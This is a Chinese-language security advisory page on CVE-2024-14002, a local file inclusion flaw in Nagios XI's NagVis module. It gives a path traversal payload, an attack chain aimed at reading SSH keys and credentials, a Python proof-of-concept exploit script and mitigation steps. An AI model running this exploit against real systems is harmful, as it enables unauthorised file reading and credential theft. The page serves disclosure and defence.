IPBUF安全漏洞报告
English
CVE-2024-14002 CVSS 5.5 中危

CVE-2024-14002 Nagios XI本地文件包含漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2024-14002
漏洞类型
本地文件包含(LFI)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Nagios XI

相关标签

本地文件包含LFINagios XINagVis路径遍历信息泄露认证用户CVE-2024-14002

漏洞概述

CVE-2024-14002是Nagios XI软件中的一个中危本地文件包含漏洞。该漏洞存在于Nagios XI的NagVis集成组件中,影响2024R1.1.4之前的所有版本。NagVis是Nagios的一个可视化扩展组件,用于创建网络拓扑图和服务状态可视化界面。由于NagVis在处理用户输入的路径参数时缺乏充分的输入验证,攻击者可以通过构造特殊的文件路径来读取服务器上的任意文件。本地文件包含漏洞允许经过身份验证的低权限用户访问本不应该访问的系统敏感文件,例如/etc/passwd、配置文件、SSH密钥、日志文件等。成功利用此漏洞可能导致敏感信息泄露,包括数据库凭证、API密钥、系统配置信息等,进而为进一步的攻击提供情报支持。该漏洞的CVSS评分为5.5,属于中等严重程度,但结合所获取的敏感信息,其实际危害可能被低估。

技术细节

Nagios XI的NagVis集成模块在处理文件包含请求时存在路径遍历漏洞。漏洞主要源于对用户输入的file参数缺乏严格的路径验证。攻击者可以通过构造类似../../../etc/passwd的路径穿越序列来绕过基本的路径检查。漏洞利用过程如下:首先攻击者需要拥有一个有效的Nagios XI用户账户(即使是低权限账户),然后通过Web界面或API向NagVis模块发送包含路径遍历载荷的请求。服务器端代码在处理include或require语句时,会将用户提供的路径与服务器文件系统路径进行拼接,如果未进行安全过滤,攻击者即可读取任意文件。典型的攻击路径为/nagiosxi/includes/nagvis/ajax_pro.php?map=test&file=../../../../etc/passwd。成功利用后,攻击者可以读取/etc/passwd获取用户列表,读取/etc/shadow获取密码哈希(如有权限),读取/home/*/.ssh/获取SSH私钥,读取var/log/获取日志文件,以及读取应用配置文件获取数据库凭证等敏感信息。

攻击链分析

STEP 1
1
获取Nagios XI低权限用户账户(通过社工、弱口令或漏洞利用)
STEP 2
2
登录Nagios XI Web管理界面
STEP 3
3
导航至NagVis集成模块
STEP 4
4
构造包含路径遍历载荷的请求,如file=../../../../etc/passwd
STEP 5
5
发送恶意请求触发本地文件包含
STEP 6
6
服务器返回目标文件内容
STEP 7
7
读取敏感配置文件获取数据库凭证、API密钥等信息
STEP 8
8
利用获取的凭证进行横向移动或进一步权限提升

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2024-14002 PoC - Nagios XI LFI via NagVis # Authenticated Local File Inclusion TARGET_URL = "http://target.com/nagiosxi/" USERNAME = "attacker" PASSWORD = "password123" def exploit_lfi(path): """ Exploit LFI vulnerability to read arbitrary files Args: path: File path to read (e.g., ../../../../etc/passwd) Returns: File content if successful """ # Login to get session session = requests.Session() login_data = { 'username': USERNAME, 'password': PASSWORD } session.post(TARGET_URL + 'login.php', data=login_data) # Exploit LFI via NagVis module lfi_url = TARGET_URL + 'includes/nagvis/ajax_pro.php' params = { 'map': 'test', 'file': path } try: response = session.get(lfi_url, params=params, timeout=10) if response.status_code == 200: return response.text else: return None except requests.RequestException as e: print(f"Request failed: {e}") return None if __name__ == '__main__': # Example: Read /etc/passwd target_file = sys.argv[1] if len(sys.argv) > 1 else '../../../etc/passwd' content = exploit_lfi(target_file) if content: print(content) else: print("Failed to retrieve file")

影响范围

Nagios XI < 2024R1.1.4

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)限制NagVis模块的访问权限,仅允许受信任的管理员访问;2)配置Web应用防火墙(WAF)规则,阻断包含路径遍历字符的请求;3)对NagVis相关目录实施访问控制,禁止通过URL参数传递文件路径;4)启用详细的访问日志,监控异常的LFI探测行为;5)考虑暂时禁用NagVis集成功能,直至完成安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表